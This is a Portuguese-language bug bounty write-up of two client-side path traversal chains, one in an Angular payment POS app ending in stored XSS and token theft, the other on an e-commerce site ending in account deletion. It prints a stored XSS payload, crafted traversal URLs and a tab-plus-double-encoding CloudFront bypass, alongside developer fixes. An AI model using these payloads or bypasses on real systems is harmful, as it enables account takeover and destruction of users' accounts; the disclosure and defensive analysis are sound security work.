Duas cadeias de CSPT descobertas em alvos reais de bug bounty em produção e o raciocínio por trás de transformar uma peculiaridade de URL no frontend em impacto real.
Sumário
- Introdução
- Contexto: anatomia de um CSPT
- Descoberta 1 — CSPT para Stored XSS e account takeover
- Descoberta 2 — CSPT para exclusão de conta
- Análise comparativa
- Conclusões
- Por que scanners e IA não detectam isso
- Conclusão
- Referências
Introdução
A web mudou. Na última década, a migração de páginas tradicionais renderizadas no servidor para Single Page Applications (SPAs) pesadas em JavaScript alterou fundamentalmente a forma como os navegadores interagem com APIs de backend. Frameworks como Angular, React e Vue agora lidam com roteamento, gerenciamento de estado e comunicação com APIs inteiramente no cliente. O que costumava ser uma simples página HTML servida por um backend agora é uma aplicação completa rodando no navegador, construindo suas próprias requisições de API, gerenciando seus próprios headers de autenticação e renderizando seu próprio DOM.
Essa mudança arquitetural criou uma nova classe de superfície de ataque. Quando o frontend é responsável por construir URLs de API a partir de input fornecido pelo usuário, o navegador se torna o local onde o path traversal acontece — não o servidor. O servidor nunca vê as sequências de travessia. Ele apenas recebe uma requisição limpa e autenticada para qualquer endpoint que o navegador resolveu.
Client-Side Path Traversal (CSPT) explora exatamente esse padrão. É uma classe de vulnerabilidade que vem ganhando tração na comunidade de bug bounty, impulsionada por pesquisas da Doyensec e outros que formalizaram os padrões de ataque. Mas exemplos reais demonstrando cadeias completas com impacto de alta severidade ainda são relativamente escassos.
Neste artigo, documento duas cadeias de CSPT que descobri em programas de bug bounty em produção. A primeira encadeia em Stored XSS e account takeover em uma SPA Angular de uma plataforma de pagamentos. A segunda leva à exclusão não autorizada de conta em uma das maiores plataformas de e-commerce da América Latina. Ambas demonstram como uma falha de tratamento de URL no frontend — isoladamente insignificante — se torna uma descoberta de alta severidade quando você entende o que está por trás do caminho percorrido pela travessia.
Contexto: anatomia de um CSPT
O padrão central tem cinco partes:
1. Frontend lê input do usuário (parâmetro de URL, segmento de rota, hash fragment)
↓
2. Input é usado para construir a URL de um endpoint de API
↓
3. Navegador decodifica caracteres URL-encoded (%2f → /, %2e → .)
↓
4. Sequências de path traversal (../) navegam para um endpoint não intencional
↓
5. Tokens de autenticação/cookies são enviados automaticamente com a requisição
O servidor nunca vê as sequências de travessia. Ele recebe uma requisição limpa para o caminho resolvido, completa com a sessão da vítima. Qualquer ação que aquele endpoint realize — retornar dados, modificar estado, excluir recursos — o servidor processa como uma requisição legítima e autenticada.
O impacto depende inteiramente de qual endpoint a travessia alcança e o que o frontend faz com a resposta. Isso é o que separa um CSPT interessante de um reportável: encontrar o destino certo.
Como mostra a pesquisa de Vitor Falcão sobre automatização da descoberta de CSPT, SPAs construídas em frameworks modernos são particularmente suscetíveis porque seus roteadores client-side decodificam caracteres URL-encoded antes de passá-los ao código da aplicação. O DefaultUrlSerializer do Angular decodifica %2f para /. O React Router tem comportamento similar. O framework te entrega o dot-dot-slash de bandeja — você só precisa saber onde colocá-lo.
Descoberta 1 — CSPT para Stored XSS e account takeover
Essa descoberta começou onde a maioria dos meus alvos Angular começa: nos source maps.
Dissecando os source maps
A aplicação POS do alvo disponibiliza source maps no ambiente de staging, o que deu visibilidade total sobre a lógica do interceptor HTTP da aplicação, roteamento e pipeline de renderização. Três componentes formaram a cadeia.
O interceptor: posInterceptor
Encontrado em pos-lib.mjs nas linhas L33807–33847. Este interceptor HTTP anexa o token de autenticação a toda requisição de saída:
const getHeaders = (request) => {
let newHeaders = {};
request.headers.keys()?.forEach(
k => newHeaders[k] = request.headers.get(k)
);
if (localStorage.getItem('token')) newHeaders = {
...newHeaders,
...(request.headers.get('token')
? { token: request.headers.get('token') }
: { token: localStorage.getItem('token') })
// ↑ Adicionado a TODAS as requisições
};
return newHeaders;
};
const posInterceptor = (request, next) => {
// Verifica status de assinatura/escritório
// mas NÃO a URL de destino da requisição
const clone = request.clone({
headers: new HttpHeaders(getHeaders(request))
});
return next(clone); // ← Sem filtragem de URL
};
Sem filtragem de URL. O token da vítima é anexado a toda e qualquer requisição que a aplicação faz, independentemente do destino. Se conseguirmos redirecionar uma requisição para um caminho de API arbitrário, o token vai junto.
Este é o padrão que a Doyensec descreve em seu whitepaper sobre CSPT2CSRF — quando o interceptor HTTP de uma SPA anexa credenciais cegamente a todas as requisições, o CSPT se torna uma primitiva CSRF poderosa. Mas aqui vai além: a resposta também é renderizada de forma insegura.
A construção da URL: IncomeService.printPublic()
Encontrado em pos-lib.mjs nas linhas L25759–25767:
printPublic(alphanumId) {
return this._http.get(
`${this.end_point_node_v2}/print/public/${alphanumId}`,
{ responseType: 'text' }
);
}
// end_point_node_v2 = 'https://stg.api.pos.[REDIGIDO]/gateway-api/v2'
O alphanumId vem diretamente do parâmetro de rota do Angular. E o DefaultUrlSerializer do Angular decodifica %2f em segmentos de rota para /.
O sink de renderização: PublicInvoiceComponent
Encontrado em chunk-ULLAV7MV.js.map:
getInvoice(): void {
this._incomeService.printPublic(this.alphanumId)
.subscribe((data: any) => {
const pattern = /<\/?[a-z][\s\S]*>/i;
if (pattern.test(data)) {
this._renderer.setProperty(
this.pdfTable.nativeElement,
'innerHTML', // ← ignora o DomSanitizer
data
);
}
});
}
Renderer2.setProperty com 'innerHTML' ignora completamente o DomSanitizer do Angular. Qualquer coisa que a API retorne é injetada como HTML bruto no DOM. A verificação via regex para tags HTML foi presumivelmente pensada para distinguir entre respostas HTML (visualizações de impressão) e dados binários (PDFs), mas cria uma porta que qualquer resposta contendo sinais de menor/maior vai atravessar — incluindo JSON com dados não sanitizados.
A cadeia
Passo 1 — Armazenar o payload XSS
O endpoint /v1/office/{id} aceita HTML no campo name sem sanitização:
PUT /gateway-api/v1/office/801
Content-Type: application/json
token: <token_do_atacante>
{"name":"<img src=x onerror=alert(document.domain)>"}
// Resposta: 200 OK — payload armazenado sem codificação
Passo 2 — Construir a URL de CSPT
https://pos.stg.[REDIGIDO]/#/income/public-invoice/..%2f..%2f..%2fv1%2foffice%2f801
Passo 3 — O que acontece no navegador da vítima
1. Roteador Angular faz match em income/public-invoice/:alphanumId
↓
2. DefaultUrlSerializer decodifica %2f → alphanumId = "../../../v1/office/801"
↓
3. printPublic() constrói: {api}/v2/print/public/../../../v1/office/801
↓
4. Navegador normaliza o caminho: {api}/v1/office/801
↓
5. posInterceptor adiciona o Bearer token da vítima
↓
6. Servidor retorna: {"name":"<img src=x onerror=alert(...)>", ...}
↓
7. Regex /<\/?[a-z][\s\S]*>/i faz match em <img> → entra no branch innerHTML
↓
8. Renderer2.setProperty(el, 'innerHTML', data) → XSS é executado
Por que a codificação server-side não ajuda
Os endpoints de impressão do alvo (/v2/print/sale/*, /v2/print/public/*) codificam corretamente toda a saída HTML. Em mais de 20 rotas de impressão, < se torna <. Se o CSPT não estivesse em jogo, o payload de Stored XSS nunca seria executado — a API de impressão o codificaria na saída.
Mas o CSPT redireciona a requisição para um endpoint completamente diferente. /v1/office é uma API de dados. Ela retorna JSON bruto. Nunca foi projetada para servir conteúdo seguro para HTML, e não precisa — em operação normal, suas respostas são consumidas por JavaScript, não injetadas no DOM.
Insight chave: O CSPT torna a codificação de saída server-side irrelevante ao redirecionar a requisição para um endpoint que nunca fez parte do pipeline de renderização pretendido. A codificação está no endpoint de impressão. Os dados vêm do endpoint do office. Eles nunca se encontram.
Impacto: account takeover
A execução de XSS no domínio do POS dá acesso ao localStorage:
localStorage.getItem('token')
// Retorna um JWT com expiração de 417 dias
Um único link forjado extrai o token de autenticação da vítima, válido por mais de um ano. A primitiva CSPT não se limita a um único endpoint — a travessia pode alcançar qualquer caminho de API:
# Dados de vendas
/#/income/public-invoice/..%2f..%2f..%2fv2%2fsales
# Contatos (dados pessoais)
/#/income/public-invoice/..%2f..%2f..%2fv2%2fcontacts
# Informações de pagamento
/#/income/public-invoice/..%2f..%2f..%2fv2%2fpayments
# Detalhes de assinatura
/#/income/public-invoice/..%2f..%2f..%2fv2%2fsubscriptions%2finfo
Cada um desses retorna dados autenticados através do mesmo sink innerHTML, expandindo a superfície de ataque por toda a API.
Descoberta 2 — CSPT para exclusão de conta
- Descoberta com Felipe Torres
O endpoint /checkout/finisher processa a etapa final de um fluxo de compra. Ele aceita um parâmetro checkout_flow que o JavaScript do frontend lê para determinar o tipo de checkout (by_step, congrats, etc.). O valor é usado para construir uma requisição interna de API.
A pergunta era direta: o que acontece se injetarmos sequências de path traversal em checkout_flow?
O desafio da codificação
Sequências de travessia diretas (../) eram bloqueadas — o CloudFront normalizava o caminho antes de chegar à aplicação. Precisávamos de uma codificação que sobrevivesse à camada de CDN mas ainda fosse decodificada pelo JavaScript do frontend em tempo de execução.
Foi aí que o Felipe Torres entrou com a técnica que tornou o exploit possível. Ele descobriu que inserir caracteres de tabulação (%09) entre os componentes do path traversal quebrava o pattern matching do CloudFront, enquanto o JavaScript do frontend os removia durante seu próprio processamento. Combinado com double encoding para os pontos, o bypass completo ficou:
%09%252e%09%252e%09%2f
// Detalhando:
%09 → tabulação horizontal (quebra o pattern matching do CloudFront)
%252e → ponto com double encoding (%25→%, resultando em %2e→.)
%2f → barra
// Após decodificação no frontend: ../
O CloudFront não reconheceu isso como sequência de travessia — os caracteres de tabulação intercalados e a camada extra de codificação quebraram suas regras de normalização. Mas o JavaScript do frontend, após sua própria passagem de decodificação, resolveu a sequência para um ../ limpo.
Este é um bom exemplo do jogo de codificação que o CSPT frequentemente exige. A primitiva de travessia em si é trivial — ../ é o mais básico possível. O trabalho real é encontrar uma codificação que passe pela agulha entre todas as camadas de normalização que ficam entre o usuário e o JavaScript que constrói a URL da API.
A cadeia
O endpoint alvo era a API de exclusão de conta — seis níveis de diretório acima da base de API do fluxo de checkout.
/checkout/finisher?session_id=CSPT&checkout_flow=
%09%252e%09%252e%09%2f ← ../ (×6)
%09%252e%09%252e%09%2f
%09%252e%09%252e%09%2f
%09%252e%09%252e%09%2f
%09%252e%09%252e%09%2f
%09%252e%09%252e%09%2f
cancelar-cuenta%09%2fapi%09%2fcreate-cancellation-request
?reason=Outros%20motivos.
%26type=unique%26site-id=[REDIGIDO]
%26platform-id=[REDIGIDO]%26product=[REDIGIDO]
%26device=desktop%26step=informative-section
Note a codificação %26 para & nos parâmetros de query — isso mantém todos os parâmetros dentro do valor de checkout_flow em vez de serem parseados como parâmetros de URL separados no nível superior.
1. Vítima clica no link (domínio legítimo do alvo)
↓
2. JavaScript do frontend parseia o parâmetro checkout_flow
↓
3. Double-decode resolve a travessia → POST para API de exclusão de conta
↓
4. Requisição inclui TODOS os cookies da vítima automaticamente
↓
5. Requisição de exclusão de conta é processada
Análise comparativa
| Alvo B (E-commerce) | Alvo A (POS de Pagamentos) | |
|---|---|---|
| Framework | JS customizado + CloudFront | SPA Angular |
| Fonte do CSPT | Parâmetro de URL (checkout_flow) |
Parâmetro de rota via hash |
| Bypass de codificação | Tab + double encoding (%09%252e) |
Codificação URL padrão (%2f) |
| Bypass de CDN/WAF | Necessário (CloudFront) | Desnecessário (roteamento client-side) |
| Autenticação | Cookies (automático) | Bearer token (interceptor HTTP) |
| Impacto | Ação destrutiva (exclusão de conta) | Roubo de dados (Stored XSS → ATO) |
| Severidade | Média (6.8) | Alta (7.1) |
Ambas as cadeias compartilham a mesma primitiva fundamental: input controlado pelo usuário constrói uma URL de API, e o navegador resolve as sequências de travessia antes de enviar a requisição. A diferença está inteiramente no que se encontra do outro lado da travessia, e no que o frontend faz com a resposta.
A primeira cadeia é uma primitiva de leitura-e-renderização: o endpoint alcançado pela travessia retorna dados, e o pipeline de renderização transforma esses dados em execução de código. A segunda cadeia é uma primitiva de escrita: o endpoint alcançado pela travessia realiza uma ação que altera o estado. Como a pesquisa CSPT2CSRF da Doyensec formaliza, esse segundo padrão — onde a travessia alcança um endpoint que altera estado — é a cadeia clássica de CSPT-para-CSRF.
Conclusões
Para hunters
- Source maps são seu melhor amigo para CSPT. Se o alvo os disponibiliza, você pode rastrear todo o pipeline de construção de requisição, do parâmetro de rota à chamada de API ao sink de renderização. Na primeira cadeia, cada componente do exploit foi identificado através da análise de source maps antes de uma única requisição ser enviada.
- Procure interceptores HTTP incondicionais. Um interceptor que anexa tokens a todas as requisições sem filtragem de URL é o habilitador que transforma um CSPT de "redirecionamento interessante" em "ação autenticada em endpoint arbitrário." Esse padrão é extremamente comum em aplicações Angular, React (interceptores axios) e Vue.
- Teste múltiplas estratégias de codificação. O que sobrevive a um WAF não sobrevive a outro. Caracteres de tabulação quebraram o pattern matching do CloudFront.
%2fpadrão foi suficiente para o roteamento client-side do Angular. Monte um checklist de variações de codificação e teste sistematicamente. - Não pare no impacto óbvio. CSPT para um endpoint DELETE é direto, mas CSPT para um endpoint que retorna dados controlados pelo usuário através de uma função de renderização insegura encadeia em XSS. Mapeie a superfície da API e descubra o que cada endpoint alcançável retorna.
Para desenvolvedores
- Interceptores HTTP devem usar whitelist de destinos. Só anexe tokens de autenticação a requisições que correspondam à origem da API e padrões de endpoints autenticados. Uma allowlist de prefixos de caminho é suficiente.
- Nunca use
innerHTMLcom respostas de API. ORenderer2.setProperty('innerHTML')do Angular ignora o DomSanitizer. Use a sanitização nativa do Angular ou, melhor ainda, parse a resposta como dado estruturado e faça binding via templates. - Valide parâmetros de rota. Se um parâmetro deve ser um ID alfanumérico, rejeite inputs contendo
/,.ou%. Essa é a correção mais barata e bloqueia a travessia na origem. - Não envie source maps para produção. Eles revelam toda a arquitetura da sua aplicação — interceptores, roteamento, lógica de renderização, endpoints de API, variáveis de ambiente — e transformam testes black-box em white-box.
Por que scanners e IA não detectam isso
Se você apontar um scanner blackbox — ou uma ferramenta de segurança com IA fazendo crawl-and-fuzz genérico — para qualquer um desses alvos, ela não vai encontrar CSPT. Não porque as ferramentas são ruins, mas porque a vulnerabilidade não existe em nenhuma requisição ou resposta HTTP individual. Ela existe no JavaScript.
Ferramentas DAST tradicionais enviam payloads para endpoints do servidor e analisam respostas. Elas procuram reflexões, mensagens de erro, mudanças em códigos de status. Mas o CSPT não tem assinatura server-side. O endpoint /checkout/finisher retorna um 200 normal independentemente de você passar by_step ou ../../cancelar-cuenta/api/... como valor de checkout_flow — o path traversal acontece inteiramente no runtime JavaScript do navegador após a página carregar. O servidor nunca processa a travessia; ele só processa a requisição final que o JavaScript constrói. Um scanner que não executa o JavaScript e rastreia o fluxo de dados do parâmetro de URL até a chamada fetch() nunca vai enxergar isso.
O mesmo se aplica a ferramentas de IA fazendo análise blackbox. Um LLM analisando tráfego HTTP vê requisições e respostas, não a lógica JavaScript que constrói essas requisições. Você pode alimentá-lo com todos os logs do Burp Suite de um crawl completo e ele não vai identificar que alphanumId flui de um parâmetro de rota Angular através de IncomeService.printPublic() até um string template que constrói uma URL de API — porque essa lógica vive em um bundle JavaScript minificado que a ferramenta nunca leu.
Essa é a lacuna. CSPT é fundamentalmente um problema de análise de código JavaScript, não um problema de análise de requisição/resposta. Encontrá-lo requer ler o código client-side — entender como a aplicação constrói URLs, quais interceptores se anexam às requisições de saída e como as respostas são renderizadas no DOM. A cadeia do parâmetro de rota até Renderer2.setProperty('innerHTML') abrange três arquivos-fonte diferentes e quatro camadas de indireção. Nenhuma quantidade de fuzzing cego revela isso.
O que funciona:
- Análise manual de JavaScript — ler source maps, bundles formatados ou até código minificado para rastrear fluxos de dados do input do usuário à construção de API à renderização no DOM. Foi assim que ambas as descobertas neste artigo foram identificadas. Source maps, quando disponíveis, transformam isso de horas de trabalho em minutos.
- Code review assistido por IA — LLMs são eficazes na análise de código-fonte JavaScript quando você dá o contexto correto. Em vez de apontar uma IA para uma URL alvo e dizer "encontre vulnerabilidades," extraia o JavaScript relevante (interceptores, services, componentes) e peça para rastrear o fluxo de dados. A diferença entre "escaneie esta aplicação" e "aqui está o interceptor HTTP, a configuração de rota e o componente que renderiza a resposta — rastreie como o input do usuário chega ao DOM" é a diferença entre não encontrar nada e encontrar a cadeia.
- Análise estática baseada em padrões — ferramentas como Semgrep podem ser configuradas para sinalizar as primitivas de CSPT: concatenação de strings em chamadas de clientes HTTP usando parâmetros de rota, interceptores sem filtragem de URL, atribuições de
innerHTMLcom dados de resposta de API. Isso não encontra a cadeia completa, mas reduz o espaço de busca.
O ferramental da comunidade para classes de vulnerabilidade client-side não acompanhou a migração para SPAs. Temos ferramentas maduras para injeção server-side, mas o equivalente para análise de fluxo de dados client-side em JavaScript de produção ainda é em grande parte manual. Integrar a análise de JavaScript — tanto revisão manual quanto assistida por IA — no workflow padrão de hunting não é mais opcional. É onde os bugs estão.
Conclusão
CSPT ainda é uma classe de vulnerabilidade subexplorada com impacto real em aplicações de produção. As duas cadeias documentadas aqui mostram que ela permite account takeover em uma plataforma de pagamentos e exclusão de conta em uma das maiores plataformas de e-commerce da América Latina.
A classe de vulnerabilidade prospera na arquitetura web moderna que construímos. A migração para SPAs significa mais JavaScript lidando com roteamento e construção de API no navegador, mais interceptores HTTP anexando credenciais cegamente, mais sinks de renderização client-side que ignoram a sanitização do framework. Toda SPA que constrói URLs de API a partir de parâmetros de rota ou query strings é um alvo potencial de CSPT.
A primitiva em si — injetar path traversal em uma URL que o frontend constrói — raramente será crítica por conta própria. A severidade vem daquilo com que você a encadeia. Todo CSPT é, na verdade, uma pergunta: que endpoint autenticado eu consigo alcançar, e o que a aplicação faz com a resposta?
Referências
- Doyensec — Whitepaper CSPT2CSRF — Formaliza o padrão de ataque CSPT-para-CSRF, incluindo o papel dos interceptores HTTP em SPAs.
- CTBB Lab — The Dot-Dot-Slash That Frameworks Hand You — Pesquisa sobre como frameworks frontend decodificam separadores de caminho URL-encoded, habilitando CSPT.
- Vitor Falcão — Automating CSPT Discovery — Ferramental e metodologia para identificação sistemática de sinks de CSPT em aplicações JavaScript.